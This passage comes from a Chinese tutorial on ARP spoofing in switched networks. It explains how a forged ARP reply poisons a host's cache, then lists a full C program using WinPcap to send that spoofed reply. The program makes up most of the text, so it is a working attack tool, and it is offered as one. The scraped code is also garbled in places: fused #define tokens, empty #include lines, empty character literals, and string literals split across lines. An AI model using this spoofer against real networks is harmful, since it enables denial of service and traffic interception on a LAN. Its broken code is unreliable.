交换网络中的嗅探和ARP欺骗

核心提示： 答，而这个应答中的数据为发送方IP地址是192.168.10.3（C的IP地址），交换网络中的嗅探和ARP欺骗(3)，MAC地址是DD-DD-DD-DD-DD-DD（C的MAC地址本来应该是CC-CC-CC-CC-CC-CC，这里被伪造了），///ARP Sender Creator:Re

答，而这个应答中的数据为发送方IP地址是192.168.10.3（C的IP地址），MAC地址是DD-DD-DD-DD-DD-DD（C的MAC地

址本来应该是CC-CC-CC-CC-CC-CC，这里被伪造了）。当A接收到B伪造的ARP应答，就会更新本地的ARP缓存（A可不

知道被伪造了）。

现在A机器的ARP缓存更新了：

C:>arp -a
Interface: 192.168.10.1 on Interface 0x1000003
　Internet Address　　　Physical Address　　　Type
　192.168.10.3　　　　　DD-DD-DD-DD-DD-DD　　 dynamic　

这可不是小事。局域网的网络流通可不是根据IP地址进行，而是按照MAC地址进行传输。现在192.168.10.3的

MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3，网卡递交的MAC地址是

DD-DD-DD-DD-DD-DD，结果是什么呢？网络不通，A根本不能Ping通C！！

这就是一个简单的ARP欺骗。

我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。（http://winpcap.polito.it/）

winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。

///////////////////////////////////////////////////////
//
//　　　　　　　　ARP Sender
//
//　　　　　 Creator:　　Refdom
//　　　　　 Email:　　　refdom@263.net
//　　　　　 Home Page:　www.opengram.com
//
//　　　　　 2002/4/7
//
///////////////////////////////////////////////////////
#include "stdafx.h"
#include "Mac.h"
//GetMacAddr()，我写的把字符串转换为MAC地址的函数，就不列在这里了
#include
#include
#define EPT_IP0x0800/* type: IP*/
#define EPT_ARP0x0806/* type: ARP */
#define EPT_RARP0x8035/* type: RARP */
#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames　*/
#defineARP_REQUEST0x0001/* ARP request */
#defineARP_REPLY0x0002/* ARP reply */
#define Max_Num_Adapter 10
#pragma pack(push, 1)
typedef struct ehhdr
{
unsigned chareh_dst[6];/* destination ethernet addrress */
unsigned chareh_src[6];/* source ethernet addresss */
unsigned shorteh_type;/* ethernet pachet type*/
}EHHDR, *PEHHDR;
typedef struct arphdr
{
unsigned shortarp_hrd;/* format of hardware address */
unsigned shortarp_pro;/* format of protocol address */
unsigned chararp_hln;/* length of hardware address */
unsigned chararp_pln;/* length of protocol address */
unsigned shortarp_op;/* ARP/RARP operation */
unsigned chararp_sha[6];/* sender hardware address */
unsigned longarp_spa;/* sender protocol address */
unsigned chararp_tha[6];/* target hardware address */
unsigned longarp_tpa;/* target protocol address */
}ARPHDR, *PARPHDR;
typedef struct arpPacket
{
EHHDRehhdr;
ARPHDRarphdr;
} ARPPACKET, *PARPPACKET;
#pragma pack(pop)
int main(int argc, char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];
LPADAPTERlpAdapter;
LPPACKETlpPacket;
WCHARAdapterName[2048];
WCHAR*temp,*temp1;
ARPPACKET ARPPacket;
ULONG AdapterLength = 1024;
int AdapterNum = 0;
int nRetCode, i;
//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE)
{
printf("Unable to retrieve the list of the adapters!
");
return 0;
}
temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != '')||(*(temp-1) != ''))
{
if (*temp == '')
{
memcpy(AdapterList[i],temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}
temp++;
}
AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"
%d- %s
", i+1, AdapterList[i]);
printf("
");
//Default open the 0
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
　　　　//取第一个网卡（假设啦）
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx
", nRetCode);
return 0;
}
lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("
Error:failed to allocate the LPPACKET structure.");
return 0;
}
ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
{
printf ("Get Mac address error!
");
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);　　//源MAC地址
if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!
");
return 0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);　　//目的MAC地址。（A的地址）
ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY);
if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
{
printf ("Get Mac address error!
");
return 0;
}
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);//伪造的C的MAC地址
ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3");　 //C的IP地址
if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!
");
return 0;
}
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6);　//目标A的MAC地址
ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1");　 //目标A的IP地址
memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);
if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{
　printf("warning: Unable to send more than one packet in
　　　　　 a single write!
");
}
if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!
");
return 0;
}
printf ("Send ok!
");
// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}